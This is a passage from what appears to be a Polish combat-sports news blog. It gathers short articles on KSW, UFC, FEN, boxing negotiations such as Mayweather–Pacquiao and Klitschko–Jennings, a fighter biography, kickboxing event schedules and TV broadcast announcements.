Były mistrz KSW Aslambek Saidov zmierzy się z Rafałem Moksem. "Kulturysta" ostatnio prezentuje się bardzo dobrze i w każdej kolejnej walce porywa publiczność. Czy tak będzie w rywalizacji z Saidovem? Były mistrz wraca do rywalizacji po problemach osobistych, a więc jego forma jest niewiadomą. Moks, który jest czołowym polskim grapplerem, w sposób szczególnych podchodzi do rywalizacji z Saidovem. Obaj panowie spotkali się na KSW 17 i wtedy lepszy okazał się pochodzący z Czeczenii zawodnik. Ponadto, rywalizacji smaczku dodaje fakt, że zwycięzca zapewne będzie pretendentem do pasa.
Na KSW zaprezentuje się Anzor Azhiev. Ogromny talent i wielka nadzieja organizacji. Azhiev podczas swojej walki z Helsonem Henriquesem na KSW 28 zaprezentował bogaty repertuar zagrań, starcie było niezwykle widowiskowe i zostało uznane za najlepszy pojedynek wieczoru. Fighter coraz lepiej radzi sobie na galach organizacji. Przede wszystkim walczy widowiskowo i nie ucieka od rywalizacji. Czy z Poznaniu udowodni swoją wartość?
Daniem głównym KSW 30 będzie walka Borysa Mańkowskiego. W ostatnim pojedynku "Diabeł Tasmański" bez większych problemów uporał się z Dawidem Zawadą. Czy kolejny rywal zawiesi wyżej poprzeczkę mistrzowi? Mańkowski stał się twarzą KSW. Ciężka praca, wyczerpujący trening, wytrwałość, profesjonalne podejście do sportu dało efekt. Mańkowski wszedł na szczyt i nie zamierza z niego schodzić. Czy nada marce KSW nowy blask i zmieni oblicze polskiego MMA? W Poznaniu musi wygrać, nie ma innej możliwości.
Poznaliśmy pięć nazwisk karty walk KSW 30. Czekamy na kolejnych fighterów i kolejne emocje. Z pewnością fakt, że Mańkowski będzie gwiazdą wieczoru świadczy o docenieniu jego postępów przez włodarzy federacji. Wydaje się, że w federacji nadchodzi czas zmian, pewnych przetasowań. Coraz więcej Mańkowskiego i młodszych zawodników, a stare wilki leczą swoje urazy.
KM
Informacja o gali UFC w Polsce zrobiła ogromne zamieszanie. Rzecz jasna –to nic pewnego, ale sama możliwość organizacji takiej imprezy podziałała na wyobraźnię wielu. Czy w Polsce odbędzie się gala UFC?
Konkretów jeszcze nie ma, ale nieoficjalnie krążą pewne informacje. Wszystko wskazuje na to, że gala UFC miałaby mieć miejsce w Krakowie. Kiedy? Prawdopodobnie w kwietniu. De facto czas goni i przydałoby się mieć pewność, co do kwestii organizacji imprezy. UFC ma ogłosić rozkład swojego kalendarza podczas konferencji prasowej przed galą w Sztokholmie, która odbędzie się 24 stycznia. Wtedy dowiemy się wszystkiego, poznamy szczegóły planów organizacji i będziemy mogli przygotowywać się na wrażenia najwyższych lotów. Jednak trzeba zachować spokój – coś jest na rzeczy, ale dopiero oficjalnie potwierdzenie będzie gwarantem.
W związku z całą sytuacją pojawiają się również kolejne interesujące fakty. Fantastyczny debiut Jana Błachowicza w UFC nie przeszedł bez echa. John efektownie i widowiskowo rozprawił się Ilirem Latifim. Teraz polski fighter czeka na kolejną walkę. Istnieje duże prawdopodobieństwo, że Błachowicza zobaczymy podczas planowanej (niezaplanowanej) gali w Polsce. Zawodnik Ankosu Zapasy Poznań po swoim debiucie w UFC zyskał pozytywne oceny i czeka kolejny pojedynek. Gdyby miało dojść do niego w Polsce… Coś fantastycznego. Z pewnością dla Johna spełnienie marzeń, wyróżnienie i radość, że pod egidą tak uznanej marki mógłby walczyć w ojczystym kraju. Bajkowo. A wręcz cudownie. Czekamy na potwierdzenie. Co do rywala, w tej kwestii nie ma żadnych informacji. Z pewnością UFC doskonale orientuje się, że Błachowicza stać na wiele i może rywalizować z najlepszymi.
Wiadomo, że o pas mistrzowski walczyć będzie Joanna Jędrzejczyk. Wydawało się, iż naturalne w tym wypadku byłoby zorganizowanie pojedynku w Polsce, jednak UFC ma nieco inne plany, co do naszej zawodniczki. Jędrzejczyk o pas mistrzowski rywalizować będzie z Carlą Esperzą na UFC 185 w Dallas. Wydarzenie będzie miało miejsce 14 marca.
Jędrzejczyk w UFC pojawiła się w lipcu ubiegłego roku. W wadze słomkowej Polka stoczyła dwa pojedynki, w których odniosła zwycięstwa. Wygrana z Claudią Gadelhą to ogromny sukces naszej zawodniczki. Rywalka postawiła wysokie wymagania Jędrzejczyk, ale w ostatecznym rozrachunku sędziowie uznali, że to fighterka znad Wisły zasłużyła na zwycięstwo. Dzięki dobrej postawie Polka dostała szansę walki o pas mistrzowski. Pojedynek z Esperzą jest niemalże pewny, jednak warto poczekać na oficjalne potwierdzenie ze strony organizatora.
Przy okazji warto wrócić do wydarzeń mających miejsce na UFC on FOX 13, a w zasadzie ich następstw. Wygrana Jędrzejczyk z Gadelhą pozwoliła Polce na określony dochód. Za sam pojedynek zawodniczka z Olsztyna zarobiła dziesięć tysięcy dolarów, dodatkowo za wygraną dostała kolejne dziesięć tysięcy. Najwięcej na UFC on FOX 13 zarobił Junior Dos Santos – dwieście sześćdziesiąt tysięcy.
Jędrzejczyk będzie walczyła o pas. Jana Błachowicza czeka kolejny pojedynek w UFC. Czy stoczy go w Polsce? Niewykluczone, że tak, jednak czekamy na potwierdzenie organizacji gali UFC w naszym kraju. Zamieszania wiele, a to dopiero domysły. Co będzie, gdy to wszystko się potwierdzi? Euforia. Co dalej? Jak to będzie? Musi się udać. Tylko spokojnie – bez nadmiernego pobudzania się.
KM
Deontay Wilder stanie 17 stycznia przed wielką szansą. Amerykański bokser zmierzy się z mistrzem świata federacji WBC wagi ciężkiej Bermane’m Stiverne’m. Czy wygra i będzie dzierżył w swych dłoniach pas?
Ten dzień może być wyjątkowy dla Wildera, jeśli oczywiście zwycięży. Jednakże pojawiają się głosy podważające umiejętności pięściarza. Krytycy Wildera uważają, że jest bokserem przeciętnym, który w żaden sposób nie zasłużył na walkę o pas mistrzowski. Czy Amerykanin zamknie usta swoim przeciwnikom? Z pewnością wygrana ze Stiverne’m byłaby najlepszą odpowiedzią, jednak wtedy mogą pojawić się głosy mówiące o tzw. farcie. Wilder doskonale zna to wszystko z autopsji. Po zwycięstwie w rywalizacji z Malikiem Scottem wielu kwestionowało sukces Amerykanina. Wilder staje do rywalizacji o pas mistrzowski WBC, ale przy okazji musi walczyć ze swoimi krytykami. Fakt, że docierają do niego takie informacje z pewnością nie pomaga mu. Z drugiej strony może obudzić się w nim sportowa złość, której fala eskalacji będzie miała miejsce w ringu. Coś, co fantastycznie obrazuje dialog z naszego, jakże fantastycznego, „Kilera”:
„- Masz być jak bulterier!
– Będę.
– Jak wściekły byk!
– Będę!
– Jak Tommy Lee Jones w Ściganym!
– Będę!”
W „Kilerze” miała miejsce motywacja pozytywna, gdy komisarz Ryba był „nakręcany” przez swojego szefa. Z kolei Wilder musi porzucić głosy krytyki i mieć na uwadze swoją wartość. A jeśli w nią wątpi – tu niezwykle ważna jest rola trenera i całego teamu. Być może te wszystkie głosy podziałają na Wildera jako motywacja. Motywacja do tego, aby coś udowodnić i uwiarygodnić się. Nie tyle w oczach tych ludzi, ale w swoich własnych. W takich sytuacjach często w człowieku rodzi się myśl zastanowienia nad kwestią własnego potencjału. Dla Wildera najważniejsza jest walka i na tym powinien się skupić. W ringu musi udowodnić swoją wartość.
W blasku fleszy Wilder wkroczy na ring w Las Vegas. Bokser, który ma na swoim koncie trzydzieści dwa zwycięstwa na zawodowym ringu liczy, że uda mu się zdobyć mistrzostwo świata. Byłoby to wydarzenie. Jakby nie patrzeć – od dłuższego czasu żaden Amerykanin nie królował w wadze ciężkiej. Wilder nie ma zamiaru oszczędzać swojego rywala: – Moim celem jest obudzić w sobie bestię. Jestem przygotowany do walki. Postaram się wskrzesić wagę ciężką. Znokautuję tego gościa i będzie on kolejnym, którego umieszczę w swoim rekordzie.
Bermane Stiverne do całej sprawy podchodzi spokojnie. Mistrz zapewnia, że nie ma mowy o presji. – Naprawdę nie czuję żadnych emocji przed walką z Deontayem Wilderem. Najważniejsze jest, aby obronił tytuł – powiedział mistrz WBC.
Mistrz czy pretendent? Spokojny Stiverne stanie w ringu z Wilderem, który imponuje rekordem, ale przez wielu uważany jest za niegodnego mistrzowskiej walki. Czy głosy krytyki wzmocnią Amerykanina i sprawią, że będzie chciał udowodnić swoją wartość? Chyba nie na tym rzecz polega. Wilder jest profesjonalistą, więc do takich głosów musi być przyzwyczajony, ale nie ukrywajmy, że jest to dla niego test. Test z dojrzałości. Czy zaburzy spokój Stiverne’a? Musi obudzić w sobie bestię.
KM
ESPN Friday Night Fights z Verony
Na wczesną pobudkę powinni być gotowi fani gal ESPN Friday Night Fights. W nocy z piątku na sobotę o g. 03:00 pokażemy drugą w tym roku walkę z tego cyklu. Powtórka w sobotę o g. 11:30. Tym razem obejrzymy dwóch zwycięzców turnieju Boxcino, organizowanego w zeszłym roku przez telewizję ESPN.W głównej walce wieczoru wystąpi triumfator turnieju w kategorii średniej – Willie Monroe Jr. “The Moongose” wygrał trzy turniejowe pojedynki z rzędu, w finale wysoko na punkty pokonując niezwyciężonego wcześniej Brandona Adamsa. Rywalem 28-letniego mańkuta będzie bardzo doświadczony Brian Vera. W ciągu trwającej 11 lat kariery Amerykanin pokonywał już takich bokserów jak: Sergio Mora, Sergiej Dzinziruk, czy Andy Lee.
Inny zwycięzca turnieju “Boxcino” – Rosjanin Petr Petrov podejmie w 10 rundach w kategorii lekkiej zawodnika z bokserskiej Filadelfii, Henry’ego Lundy. Obie walki wydają się wyrównane, co powinno gwarantować emocjonującą noc z pięściarstwem na wysokim poziomie.
Premiera World Combat Games
W niedzielę (18.01) o g. 22:00 na antenie FightKlubu zadebiutują zawody World Combat Games. To światowe igrzyska sportów walki, w których w szranki stają specjaliści różnych stylów i czasami całkiem odmiennych specjalności. Obecnie w kalendarzu imprezy znajdują się takie dyscypliny jak: aikido, boks, szermierka, judo, ju-jitsu, karate, kendo, kickboxing, boks tajski, sambo, savate, sumo, taekwondo, zapasy i wushu. Pierwsza edycja zawodów odbyła się w 2010 roku w Pekinie i wzięło w niej udział ponad tysiąc sportowców z pięciu kontynentów. Kolejne World Combat Games zorganizowane zostały w ubiegłym roku w Sankt Petersburgu, a następne odbędą się w 2016 roku.
Źródło: materiały prasowe
Już czuć, już coraz bliżej. Wydaje się, że zakontraktowanie pojedynku Floyd Mayweather Jr – Manny Pacquiao jest tylko kwestią czasu. Strony nadal rozmawiają, ale komunikaty puszczane w świat dają jasny sygnał, iż negocjacje są na dobrej drodze.
Nie ma chyba człowieka na naszej planecie, który wątpi, że dojdzie do rywalizacji Mayweathera z Pacquiao. Oczywiście, można powiedzieć, iż walka już się rozpoczęła. Chodzi rzecz jasna o walkę medialną, która podkręca całą atmosferę i nadaje jej charakter wielkiego oraz wyczekiwanego show. Fani boksu czekają na ten pojedynek jak na święto. Odkąd pojawiła się informacja o ewentualnym starciu Moneya i Pacmana stał się to temat powszechny i pierwszoplanowy. Niektórzy z pewnością zapomnieli, że jest ktoś taki jak Kliczko. A tak poważnie – Mayweather vs Pacquiao coraz bliżej.
Informowaliśmy, iż w związku z prawdopodobną rywalizacją Moneya i Pacmana swój pojedynek będzie musiał przełożyć Saul Alvarez. Meksykanin ma walczyć z Miguelem Cotto, jednakże strony nadal prowadzą negocjacje. Alvarez chciał stoczyć pojedynek w maju, ale fakt, iż w tym terminie ma odbyć się starcie Mayweathera z Pacquiao narodził konieczność zmiany planów przez Canelo. Wydarzenie. To będzie show, to będzie hit. Zapowiada się prawdziwe arcydzieło. Starcie Maywethera z Pacquiao może być mistrzowskim dziełem. Wydarzeniem, które już w tej chwili pobudza publiczność, a może ją jeszcze bardziej rozpalić. Atmosfera nakręca się sama. Co będzie się działo w dniu walki?
Najprawdopodobniej do starcia gigantów dojdzie 2 maja. Wskazują na to wszystkie znaki na niebie i ziemi. Mówi o tym sam Pacquiao: – Myślę, że stoczymy pojedynek z Maywetherem. Prawdopodobnie spotkamy się 2 maja. Należy czekać na potwierdzenie, a następnie na sam pojedynek – powiedział Pacman.
Hit. Tak najkrócej można nazwać walkę Mayweathera z Pacquiao. Jednakże warto zwrócić uwagę, iż obaj panowie spotykają się i spotkać się nie mogą. Od lat mówi się o rywalizacji Moneya i Pacquiao, ale dopiero teraz dochodzi do konkretów. Z jednej strony to cieszy, z drugiej staną naprzeciw siebie pięściarze, którzy rozpoczynają myślenie o emeryturze. Rzecz jasna – nie będzie to starcie dziadków, ale warto zauważyć, że to ostatni dzwonek.
Mayweather ma to do siebie, że wokół niego zawsze coś się dzieje. Trwają negocjacje z Pacquiao, a tu głos zabiera Amir Khan, który ma nadzieję na walkę z Moneyem. – Chcę stoczyć walkę w maju. Myślę o rywalizacji z Mayweatherem, jednak nawet nie jesteśmy blisko rozmów w tej sprawie Daję jego teamowi 5 dni na decyzję i podjęcie kroków w tej sprawie. Jak powiada klasyk – gdzie dwóch się bije tam trzeci korzysta? Raczej nie.
Mayweather i Pacquiao niczym para młodych zakochanych czeka na termin ślubu. Niby wszystko ustalone, wszyscy wszystko wiedzą, tylko nie wiadomo kiedy. Trzeba czekać. Tylko, żeby któraś ze stron się nie rozmyśliła. Na Mayweathera czeka kolejny rywal, ale Khan twierdzi, że Money obawia się go. Czekamy na wesele, może nas zaproszą.
KM
Brakowało tylko podpisów. Wszystko było ustalone – Kliczko i Jennings mieli stanąć twarzą w twarz. Niewykluczone, że tak będzie, ale droga do pojedynku znacznie wydłużyła się.
Cała sytuacja dotyczy faktu związania się promotora Jenningsa, Gary’ego Shawa, z należącą do Jay'a-Z grupą Roc Nation Sports. Team Ukraińca był gotowy do podpisania umowy na pojedynek z Jenningsem, jednak sprawy skomplikowały się. Decyzja Shawa sprawiła, że wszystkie ustalenia między stronami są nieważne i niewiążące. Promotor podpisując umowę o współpracy z Roc Nation Sports stał się pracownikiem grupy, która teraz odpowiada za interesy Bryanta Jenningsa.
Rozmowy między Kliczko, a Jeningsem zmierzały w dobrym kierunku. Poczyniono ustalenia dotyczące walki, które zaakceptowały obie strony. Do pełni szczęścia zabrakło tylko podpisów. – Wszystko było dogadane już w grudniu, ale po tym, jak Shaw sprzedał grupę musimy zacząć negocjować od nowa – powiedział Bernd Boente, odpowiedzialny za organizację walk Władimira Kliczko.
24 kwietnia na gali Barclays Center na Brooklynie swój pojedynek stoczy czempion federacji WBO/IBO/WBA/IBF w wadze ciężkiej. Pytanie – z kim przyjdzie mu rywalizować? O potencjalnych zastępcach Jenningsa pisaliśmy już wcześniej – są to m.in. Briggs, Stiverne, Wilder. Jednakże okazuje się, że obóz Ukraińca wcale nie musi rozglądać się za kolejnym rywalem. Po prostu trzeba wrócić do początkowej fazy negocjacji z Jenningsem, na co przystał team Kliczko. Przedstawiciele ukraińskiego mistrza już rozpoczęli rozmowy z grupą Roc Nation Sports.
Strony chcą doprowadzić do starcia Kliczko – Jennings. Być może w negocjacjach przydatny okaże się materiał z wcześniejszych rozmów. Oczywiście dla Roc Nation Sports doprowadzenie do zakontraktowania walki z Kliczko byłoby ogromnym sukcesem. Zarówno dla samej grupy, a przede wszystkim dla pretendenta. Warto zaznaczyć, że w obecnym układzie pozycję dominującą ma obóz Ukraińca, choć nie ulega wątpliwości, iż wcześniej też tak było. Niezwykle cenny w tym wypadku jest czas, więc przedłużanie rozmów może być złym rozwiązaniem dla Jenningsa. – Mamy nadzieję, że uda się podpisać umowę na ten pojedynek w połowie tego tygodnia – powiedział Boente.
Co w przypadku przedłużenia negocjacji i niemożności osiągnięcia porozumienia? Obóz mistrza świata przygotowany jest na takie rozwiązanie. Team Ukraińca nie ujawnia swoich planów awaryjnych, ale poważnie bierze pod uwagę, że może nie porozumieć się z obozem Jenningsa. Niewykluczone, iż Kliczko stosuje malutki szantaż, aby jak najszybciej podpisać umowę. Nie ma się, co dziwić, gdyż team czempiona stracił trochę cennego czasu, który mógł przeznaczyć na promocję pojedynku. Niewykluczone jest również przeniesienie pojedynku mistrza świata do Europy w przypadku braku porozumienia z Jenningsem.
W kuluarach pojawiły się informacje na temat ewentualnego starcia Kliczki z pretendentem do tytułu WBO w wadze ciężkiej Tysonem Fury’m. Ponoć promotorzy Brytyjczyka kontraktowali się z obozem czempiona. Team Ukraińca nie wyklucza tej walki, jednak nie dojdzie do niej w kwietniu.
Jennings ma ograniczony czas. Negocjacje startują od początku. Było tak blisko porozumienia, a cała sprawa skomplikowała się. Obóz Ukraińca liczy na szybkie rozstrzygnięcie. Jennings liczy na to, że dostanie szansę. Wszystko w rękach jego teamu.
KM
Co będzie działo się w kickboxingu w 2015 roku? Z pewnością nie zabraknie wrażeń, pełnych kwintesencji i kunsztu walk oraz sukcesów. Nasi reprezentanci są potęgą, siłą oraz czołową ekipą na świecie, więc o wyniki możemy być spokojni. Obyśmy mieli okazję jak najczęściej słyszeć Mazurka Dąbrowskiego na imprezach rangi mistrzowskiej.
Mając na uwadze przyszłość na chwilę cofnijmy się w przeszłość. Rok 2014 był udany dla polskiego kickboxingu. Wydarzenia ostatnich miesięcy potwierdzają ten fakt w zupełności. Iwona Nieroda obroniła pas mistrzyni świata WAKO PRO Low Kick w kategorii do 56 kg. Z kolei Wojciech Wierzbicki sięgnął po zawodowe mistrzostwo Europy WAKO-PRO Low-Kick kat-75 kg. Ponadto, nasza reprezentacja przywiozła z mistrzostw Europy WAKO w Bilbao aż piętnaście krążków, z ME w Mariborze czternaście. Mało? Apetyt rośnie w miarę jedzenia.
Już w lutym czekają nas mistrzostwa Polski seniorów w kick-light. Impreza odbędzie się w dniach 13 – 15 lutego w Kartuzach. Na początku marca w Kobyłce będą miały miejsce mistrzostwa Polski seniorów i juniorów w low – kick. W marcu (13-15) kickboxing będzie królował w Ożarowie Mazowieckim. W podwarszawskiej miejscowości zobaczymy w akcji juniorów i seniorów w full contact. Z tym, że młodzi adepci rywalizować będą w mistrzostwach Polski, a doświadczeni fighterzy powalczą w Pucharze Polski. W kwietniu sytuacja odwróci się. Poznań będzie gościł najlepszych polskich fighterów w formule full- contact. Z tym, że juniorzy powalczą o Puchar Polski, a seniorzy o mistrzostwo kraju. Maj jest pięknym miesiącem, w którym można się zakochać i przeżyć piękne chwile. Niezapomniane wrażenia czekają nas w Legnicy (22-24 maja), gdzie odbędą się mistrzostwa Polski K-1 juniorów i seniorów. W listopadzie w Jarosławiu odbędzie się Puchar Polski Low Kick. Mistrzostwa Polski Oriental Rules Juniorów i Seniorów zaplanowano na grudzień.
Rywalizacja na poziomie europejskim i światowym zapowiada się emocjonująco. Nasi reprezentanci będą jeździli po świecie nie w celach turystycznych, lecz jako prawdziwi zdobywcy, którzy osiągają szczyty. W marcu (6-8) odbędzie się Irish Open International 2015 w Dublinie. Pod koniec kwietnia warto wybrać się do Austrii. Tam odbędzie się Puchar Świata Austrian Classic Innsbruck. 29 sierpnia – 5 września będzie czasem ogromnych emocji. W Hiszpanii w akcji zaprezentują się młodzi fighterzy podczas Mistrzostw Europy Kadetów i Juniorów WAKO. Październik stanie pod znakiem Mistrzostw Świata Seniorów WAKO Low Kick, K-1 Rules,
Kick Light. Rywalizacja najlepszych odbędzie się w Serbii w dniach 21 – 30 października. Wtedy ze szczególną uwagą będziemy czekać na melodię Mazurka Dąbrowskiego. Kamil Ruta po raz kolejny? A może ktoś inny? Wroński, Narloch, Bieć, Walkiewicz? Na przełomie października i listopada odbędą się Mistrzostwa Świata Seniorów, Weteranów WAKO Light Contact, Full Contact, Pointfighting, Formy przy Muzyce.
Ważne wydarzenie będzie miało miejsce w lutym. 28 lutego odbędą się obchody dwudziestopięciolecia Polskiego Związku Kickboxingu. Wydarzenie warte uwagi. Kickboxing w Polsce rozwija się i stawia kroki naprzód. Duża w tym zasługa PZKb, który w tym roku obchodzi jubileusz ćwierćwiecza.
Wydarzeń pełnych wrażeń na pewno nie zabraknie. Z pewnością każda impreza dostarczy wiele materiałów do przemyśleń. Do tego należy dodać szczyptę radości, pełne kunsztu walki i sukcesy. Palce lizać! Znaczy musi się udać.
KM
Polski bokser urodzony 24 września 1980 roku w Krynicy-Zdroju walczący w kategorii wagowej junior ciężkiej. W Krynicy-Zdroju początkowo trenował taekwondo, jednak po nie długim czasie zmienił dyscyplinę na kickboxing. Jako reprezentant klubu Athletics Poznań zdobył złoty medal w Węgrowie na młodzieżowych mistrzostwach Polski. Jako senior zdobył czterokrotnie Puchar Polski oraz Mistrzostwo Polski w formule Full-Contact. Na zawodowym ringu bokserskim zadebiutował 25 września 2004 roku, gdzie po 4 rundowym pojedynku pokonał Słowaka Sylvestra Petrovica. 1 lipca 2006 roku zdobył tytuł młodzieżowego mistrza świata federacji WBC, nokautując Węgra Adriana Rajkaia. 24 lutego 2007 roku po raz pierwszy obronił młodzieżowy pas WBC pokonując Gruzina Armena Aziziana. Niemal rok później po raz drugi obronił pas młodzieżowego mistrza świata federacji WBC wygrywając z Węgrem Laszlo Hubertem. 20 czerwca 2009 roku zdobył pas mistrza świata federacji IBC w kategorii junior ciężkiej. W walce o ten tytuł pokonał Czecha Romana Kracika. 18 grudnia tego samego roku obronił pas federacji IBC, pokonując w 6 rundzie przez TKO Amerykanina Roba Callowaya. 20 marca 2010 roku Paweł stoczył swój 25 pojedynek na zawodowych ringach. Kołodziej w tym starciu zdobył pas mistrza świata federacji WBF, pokonując w 3 rundzie Anglika Marka Krence’a. 12 czerwca 2010 roku po raz pierwszy obronił tytułu mistrza świata federacji WBF pokonując Kameruńczyka z Francuskim paszportem Parfaita Amougui Amougu. Walka ta odbyła się w Krynicy-Zdrój. 20 listopada 2010 roku Paweł pokonał Johna McClaina, zdobywając tymczasowy tytuł Mistrza Państw Bałtyckich federacji WBC. 5 marca 2011 roku Polak zmierzył się z Felixem Corą Jr. o pasy WBA International i WBC Baltic. Po 12 rundowym pojedynku jednogłośnie na punkty zwyciężył Paweł. 12 listopada 2011 roku Paweł pas WBA International pokonując w 2 rundzie Mauro Adriana Ordialesa. 17 marca 2012 roku Polak pokonał jednogłośnie na punkty Giuliana LLie. Stawką pojedynku był interkontynentalny pas IBF. 20 kwietnia 2013 roku Paweł pokonał Richarda Halla. Była to pierwsza walka po 13 miesięcznej przerwie spowodowanej kontuzją. 15 czerwca 2013 roku podczas gali Wojak Boxing Night, Paweł pokonał Argentyńczyka Cesara Crennza. 23 listopada na kolejnej gali Wojak Boxing Night , Kołodziej pokonał Princa Anthony Ikeji. 27 września 2014 roku Kołodziej walczył po raz pierwszy o pas mistrza świata federacji WBA. Pojedynek ten przegrał z Denisem Lebiediewem. Była to pierwsza porażka której doznał Polak w zawodowej karierze bokserskiej.
Piąta gala FEN zakończyła się godnie. Paweł Biszczak zwyciężył po królewsku. Polski zawodnik zakończył walkę w sposób widowiskowy, a przede wszystkim skuteczny. W całości zaprezentował swój kunszt i niezwykłe umiejętności.
Biszczak stoczył pojedynek w formule K-1 77 kg z zawodnikiem z Portugalii – Jano Cruzem. Zdecydowanym faworytem starcia był Polak, którego klasa i możliwości sprawiały, że publiczność zgromadzona na gali w Lubinie oczekiwała prawdziwego show. Biszczak nie zawiódł, choć początkowo niektórym serce szybciej zabiło w obawie o naszego fightera. Cruz okazał się twardym zawodnikiem, który podjął walkę, a nie uciekał od niej. Od początku zawodnicy ruszyli na siebie. Portugalczykowi udało się trafić solidnymi ciosami bokserskimi w głowę Biszczaka. Cruz poczuł siłę i chciał więcej, jednakże Polak w doskonałym momencie „ukłuł” przeciwnika. Biszczak wykonał ruch, którym zamarkował kopnięcie i zmylił Portugalczyka. Polak potężnie trafił Cruza. Lewe okrężne kopnięcie na wątrobę zrobiło wrażenie na Portugalczyku, który znalazł się na deskach. Cruz nie dał rady podnieść się i kolejne zwycięstwo Biszczaka stało się faktem. Tego oczekiwała publiczność. Efektów specjalnych jak w najlepszym hoolywodzkim filmie. Biszczak uświetnił galę FEN 5 i pokazał organizatorom, że warto na niego stawiać.
Podczas gali w Lubinie odbyło się łącznie dziesięć walk – pięć w formule K-1 i pięć w MMA. Warto odnotować zwycięstwo Jakuba Kozery w K-1 125 kg. Polski fighter na punkty pokonał Czecha Vilema Fencla. Kozera wykorzystał swoją przewagę fizyczną, kontrolował cały pojedynek, ale sędziowie mieli pewne wątpliwości, jednak niejedno głośną decyzją wygrał Polak. Organizatorzy zaplanowali dwie walki wieczoru. Oprócz pojedynku Biszczak – Cruz, doszło również do starcia Marcina Zontka z Krzysztofem Pietraszakiem w MMA, w którym górą był ten pierwszy. Po pierwszej rundzie Pietraszak nie był zdolny do kontynuowania pojedynku. Ciekawie wyglądała rywalizacja Bartosza Muszyńskiego i Tomasa Guta w K-1 81 kg. Słowak był bardzo ruchliwy i starał się zadawać wiele ciosów, które nie dochodziły do celu. Muszyński jak atakował to porządnie Polak zadawał mocne ciosy, po których na twarzy Guta widać było grymas bólu. Mimo to Słowak wytrzymał cały dystans walki. Sędziowie uznali, że zwycięstwo należy się Muszyńskiemu.
Piątą gala organizacji FEN z pewnością należy zaliczyć do kategorii ciekawych. Połączenie K-1 i MMA to interesujące rozwiązanie dla publiczności. Przede wszystkim organizatorzy dostarczają różnorodności. Widzowie mogą zobaczyć rywalizację w stójce i w parterze – efektowne kopnięcia i zapasy. W Lubinie swoją wartość udowodnił Paweł Biszczak, który pokonał Jano Cruza. Warto nadmienić, że na dziewięć walk wszystkie zakończyły się zwycięstwami Polaków.
Organizacja FEN zapowiada już kolejną galę. Na mapie Polski w siłę rośnie kolejna organizacja związana ze sztukami walki. FEN chce trafić do szerszego audytorium. Czy po kolejnej gali FEN zawojuje Polskę?
Wyniki FEN 5:
Walki wieczoru
K-1 77 kg: Paweł Biszczak pok. przez KO w pierwszej rundzie Janu Cruza
MMA 93 kg: Marcin Zontek pok. Krzysztofa Pietraszaka
Karta główna
K-1 81 kg: Bartosz Muszyński pok. przez decyzję Tomasa Guta
MMA 77 kg: Michał Michalski pok. Adama Niedźwiedzia
K-1 125 kg: Jakub Kozera pok. przez decyzję Vilema Fencla
MMA 77 kg: Paweł Kordylewicz pok. Georgiya Budkę
K-1 54 kg: Patrycja Krawczyk pok. przez decyzję Alexandrę Jursovę
MMA 77 kg: Patryk Paduch pok. Antona Shimuka
MMA 70 kg: Maciej Kruszewski pok. Yuria Bybochkina
Walka eliminacyjna:
70 kg K-1: Kamil Kaczmarczyk pok. Przez decyzję Jakuba Kozerę
KM
Stacja FightKlub pozyskała ekskluzywne prawa do transmisji, doskonale znanej bokserskim kibicom, serii gal ESPN Friday Night Fights. Nowy kontrakt będzie obowiązywał od stycznia 2015 roku. Pierwsza impreza z tego cyklu odbędzie się w najbliższy piątek (09.01.15) w Santa Ynez w Kalifornii, gdzie w głównym wydarzeniu wieczoru Darleys Perez podejmie Johnathana Maicelo w starciu o tymczasowy tytuł mistrza świata WBA wagi lekkiej. Podczas tej samej imprezy wystąpi między innymi zaliczany do czołówki wagi ciężkiej Kubańczyk Mike Perez oraz występujący w kategorii junior półśredniej Francisco Santana. Na transmisję gali Friday Night Fights z Kalifornii telewizja FightKlub zaprasza w nocy z piątku na sobotę od godzinie 03.00. Powtórka zaplanowana jest na sobotę 10 stycznia na godzinę 11.30.
W ostatnich latach mająca długie tradycje seria ESPN Friday Night Fights nie była regularnie pokazywana na żywo przez żadną polską telewizję.
Źródło: materiały prasowe
Saul Alvarez miał zupełnie inny plan. Canelo założył sobie za cel walkę z mistrzem świata federacji WBC wagi średniej Miguelem Cotto i dąży, aby tak się stało. Obecnie prowadzone są negocjacje w sprawie pojedynku. Problem w tym, że Alvarez bardzo chciał walczyć w maju, ale na tym etapie pojawiła się inna propozycja. Propozycja, z której Canelo nie jest zadowolony.
Alvarez bardzo chce stoczyć pojedynek w maju dla siebie i swoich rodaków. Otóż, 5 maja Meksykanie obchodzą rocznicę bitwy pod Puelbą. Canelo zwycięstwem chciał uczcić ten szczególny dzień i oddać cześć bohaterom. Warto zauważyć, że jest to postawa patriotyczna boksera, który zarazem uświadamia społeczeństwo i dba o tradycję. Z tym, że chęci Canelo to jedno, a rzeczywistość to drugie.
Niewykluczone, że do rywalizacji Alvareza z Cotto dojdzie 6 bądź 13 czerwca w Nowym Jorku. Podyktowane jest to faktem, iż coraz bardziej zaawansowane są rozmowy na temat walki Floyda Mayweathera Jr z Manny Pacquiao. Money i Pacman mieliby stanąć w ringu 2 maja. Wydaje się, iż to jest główny powód ewentualnej zmiany terminu pojedynku Canelo – Cotto. Alvarez bardzo chce wejść do ringu 2 maja, jednak z marketingowego, medialnego oraz sportowego punktu widzenia Meksykanin może dużo stracić, jeśli w tym samym dniu rywalizowaliby Mayweather z Pacquiao.
Sam fakt, iż za oba pojedynki potencjalny widz musiałby zapłacić (system PPV) powoduje, że Canelo i Cotto wypadają zdecydowanie gorzej. Większe zainteresowanie budzi walka Mayweathera z Pacquiao, więc próba zakontraktowania starcia w tym samym terminie byłoby prawdziwym samobójstwem. Alvarez zdrowo podchodzi do tej kwestii i jest gotowy do kompromisu. Dla Meksykanina istotne jest starcie z Cotto, do którego od dłuższego czasu dąży.
Jak obecnie wyglądają negocjacje? Idą do przodu. – Obecnie jesteśmy dogadni w 60%. Rozmowy są coraz bardziej zaawansowane, ponieważ grupa Golden Boy oraz 'Canelo' zaczęli wykazywać się elastycznością i są skłoniają się ku naszym rozwiązaniom. Cotto będzie tym, który zadecyduje, czy walka odbędzie 6 czy 13 czerwca – powiedział Gabriel Peñagarícano doradca mistrza federacji WBC wagi średniej. Istotą sprawy jest kwestia samej walki. Fakt, że Canelo jest gotowy do kompromisu w sprawie terminu pojedynku pokazuje, że Meksykanin chce wrócić na szczyt. Czy Cotto mu na to pozwoli? Były mistrz świata federacji WBA/WBC wagi junior średniej rozpoczął medialną grę, w której szukał kontaktu z Portorykańczykiem. Cotto do całej sprawy podchodzi spokojnie i czeka na efekty negocjacji. Głos w kwestii ewentualnej walki zabrał Freddie Roach. Trener Cotto jasno dał do zrozumienia, co się stanie, jeśli dojdzie do tej rywalizacji. – Canelo nie będzie już taki ładny po tym pojedynku. Warto się o 